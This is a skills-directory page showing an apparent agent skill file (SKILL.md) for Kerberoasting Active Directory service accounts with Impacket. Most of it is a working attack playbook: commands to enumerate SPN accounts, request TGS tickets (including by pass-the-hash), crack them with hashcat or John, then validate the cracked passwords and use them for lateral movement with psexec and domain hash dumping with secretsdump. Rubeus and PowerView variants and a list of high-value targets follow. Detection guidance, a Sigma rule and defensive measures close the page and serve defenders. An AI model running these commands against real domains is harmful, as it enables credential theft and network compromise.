인터페이스는 현지화되어 있으며, Skill 소개와 설명 문서는 선택한 언어로 AI가 자동 번역합니다. 코드·명령어·경로·전문 용어는 원문을 유지하며 원작자 문서가 우선합니다.
Skills 둘러보기
생산성 및 협업 · SKILL.md

exploiting-kerberoasting-with-impacket

exploiting-kerberoasting-with-impacket

使用 Impacket 的 GetUserSPNs 执行 Kerberoasting 攻击,提取并破解活动目录服务账户的 Kerberos TGS 票据。

Independent GitHub snapshot · Automated classification · Original documentation governs

Skill 문서

GitHub

name: exploiting-kerberoasting-with-impacket description: 使用 Impacket 的 GetUserSPNs 执行 Kerberoasting 攻击,提取并破解活动目录服务账户的 Kerberos TGS 票据。 domain: cybersecurity subdomain: red-teaming tags: [kerberoasting, impacket, active-directory, credential-access, kerberos, t1558-003, service-accounts] version: "1.0" author: mahipal license: Apache-2.0

使用 Impacket 执行 Kerberoasting 攻击

概述

Kerberoasting(MITRE ATT&CK T1558.003)是一种凭据访问技术,通过为具有服务主体名称(SPN)的账户请求 Kerberos TGS(票据授予服务)票据来针对活动目录服务账户。TGS 票据使用服务账户的 NTLM 哈希(RC4 或 AES)加密,可进行离线暴力破解。Impacket 的 GetUserSPNs.py 是在 Linux 上执行 Kerberoasting 攻击的标准工具。

前置条件

  • 有效的域凭据(任何域用户都可以请求 TGS 票据)
  • 到域控制器的网络访问(TCP/88 Kerberos、TCP/389 LDAP)
  • 已安装 Impacket(pip install impacket)
  • 用于离线破解的 Hashcat 或 John the Ripper
  • 词典文件(如 rockyou.txt、SecLists)

MITRE ATT&CK 映射

技术 ID名称战术
T1558.003窃取或伪造 Kerberos 票据:Kerberoasting凭据访问
T1087.002账户发现:域账户发现
T1110.002暴力破解:密码破解凭据访问

步骤一:枚举 Kerberoastable 账户

# 列出所有具有 SPN 的用户账户(不请求票据)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1

# 输出示例:
# ServicePrincipalName          Name        MemberOf                          PasswordLastSet
# ----------------------------  ----------  --------------------------------  -------------------
# MSSQLSvc/SQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22
# HTTP/web01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00
# HOST/backup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10

步骤二:请求 TGS 票据

# 为所有 Kerberoastable 账户请求 TGS 票据
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# 为特定 SPN 请求票据
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_sql

# 输出格式(与 Hashcat 兼容):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...

# 保存到文件用于破解
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt

# 使用 NTLM 哈希代替密码(哈希传递)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
  -dc-ip 10.10.10.1 -request -outputfile hashes.txt

# 请求 AES 票据(如果可用)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt

步骤三:离线破解 TGS 票据

# Hashcat - RC4 加密票据(模式 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

# Hashcat - AES-256 加密票据(模式 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

# 查看结果
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!

步骤四:验证并使用破解的凭据

# 验证破解的凭据
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local

# 检查本地管理员访问权限
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth

# 使用凭据进行横向移动
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local

# 如果服务账户是域管理员
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm

替代工具

Rubeus(Windows)

# 对所有账户执行 Kerberoasting
.\Rubeus.exe kerberoast /outfile:hashes.txt

# 针对特定用户
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt

# 仅请求 RC4 票据(更容易破解)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

# 使用 AES 执行 Kerberoasting
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt

PowerView(PowerShell)

Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt

定向 Kerberoasting

Kerberoasting 的高价值目标:

账户类型原因风险
域管理员中的服务账户直接通往域入侵的路径严重
SQL 服务账户(MSSQLSvc)通常具有过多权限高
Exchange 服务账户可访问所有邮件高
AdminCount=1 的账户之前/当前具有特权高
密码过旧的账户更可能使用弱密码中

检测

Windows 事件日志

事件 ID 4769 - Kerberos 服务票据请求
- 监控:当预期为 AES 时使用加密类型 0x17(RC4-HMAC)
- 监控:单个用户在短时间内请求大量 TGS 票据
- 监控:来自异常源 IP 的服务票据请求

Sigma 规则

title: 潜在的 Kerberoasting 活动
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4
        ServiceName|endswith: '#x27;
    filter:
        ServiceName: 'krbtgt'
    condition: selection and not filter
level: medium
tags:
    - attack.credential_access
    - attack.t1558.003

防御建议

  1. 使用组托管服务账户(gMSA) - 240 字符随机密码,自动轮换
  2. 为所有服务账户设置强密码(25 个字符以上)
  3. 仅启用 AES 加密 - 通过 GPO 禁用 RC4
  4. 监控事件 ID 4769 中的 RC4 TGS 请求
  5. 在无法使用 gMSA 的地方实施托管服务账户
  6. 定期审计 - 运行 BloodHound 识别 Kerberoastable 账户
  7. 受保护用户组 - 将敏感服务账户添加进去
  8. 蜜罐 SPN - 创建带有 SPN 的诱饵账户以检测攻击

参考资料

저장한 Skills